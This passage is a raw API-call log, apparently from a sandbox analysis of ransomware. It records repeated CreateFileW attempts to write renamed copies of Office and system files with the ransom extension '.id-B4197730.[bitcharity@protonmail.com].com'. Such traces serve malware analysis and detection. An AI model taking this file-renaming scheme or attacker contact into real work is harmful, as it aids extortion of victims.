liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.558] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\HeartbeatConfig.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\heartbeatconfig.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.558] CloseHandle (hObject=0x118c) returned 1 [0274.560] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.560] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\branding.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.560] CloseHandle (hObject=0x118c) returned 1 [0274.563] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.564] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.564] CloseHandle (hObject=0x118c) returned 1 [0275.201] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.202] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.202] CloseHandle (hObject=0x1258) returned 1 [0275.203] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.203] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\trdtv2r41.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.203] CloseHandle (hObject=0x1258) returned 1 [0275.208] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.208] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\as80.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.208] CloseHandle (hObject=0x1258) returned 1 [0275.209] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.209] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\as90.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.210] CloseHandle (hObject=0x1258) returned 1 [0275.211] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.211] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\db2v0801.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.211] CloseHandle (hObject=0x1258) returned 1 [0275.212] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.212] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\hive.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.213] CloseHandle (hObject=0x1258) returned 1 [0275.214] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.214] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\informix.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.214] CloseHandle (hObject=0x1258) returned 1 [0275.215] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.215] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\msjet.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.215] CloseHandle (hObject=0x1258) returned 1 [0275.216] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.216] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\orcl7.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.216] CloseHandle (hObject=0x1258) returned 1 [0275.217] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.217] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sql2000.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.217] CloseHandle (hObject=0x1258) returned 1 [0275.219] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.219] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sql70.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.219] CloseHandle (hObject=0x1258) returned 1 [0275.222] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.222] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sql90.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.222] CloseHandle (hObject=0x1258) returned 1 [0275.223] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.223] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sqlpdw.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.223] CloseHandle (hObject=0x1258) returned 1 [0275.224] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.224] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sybase.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.225] CloseHandle (hObject=0x1258) returned 1 [0275.225] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.225] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\trdtv2r41.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\trdtv2r41.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.226] CloseHandle (hObject=0x1258) returned 1 [0275.936] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.936] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessMessageDismissal.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\accessmessagedismissal.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.206] CloseHandle (hObject=0x1270) returned 1 [0276.474] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.474] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.474] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.474] CloseHandle (hObject=0x1154) returned 1 [0276.477] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.477] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.477] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.477] CloseHandle (hObject=0x1154) returned 1 [0276.478] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.478] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.478] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.478] CloseHandle (hObject=0x1154) returned 1 [0276.481] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.481] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.481] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.481] CloseHandle (hObject=0x1154) returned 1 [0276.482] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.482] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.482] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.482] CloseHandle (hObject=0x1154) returned 1 [0276.483] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.483] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.483] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.483] CloseHandle (hObject=0x1154) returned 1 [0276.484] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.484] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.484] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.484] CloseHandle (hObject=0x1154) returned 1 [0276.488] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.488] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.488] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.489] CloseHandle (hObject=0x1154) returned 1 [0276.489] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.489] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.490] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.490] CloseHandle (hObject=0x1154) returned 1 [0276.490] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.491] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.491] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program 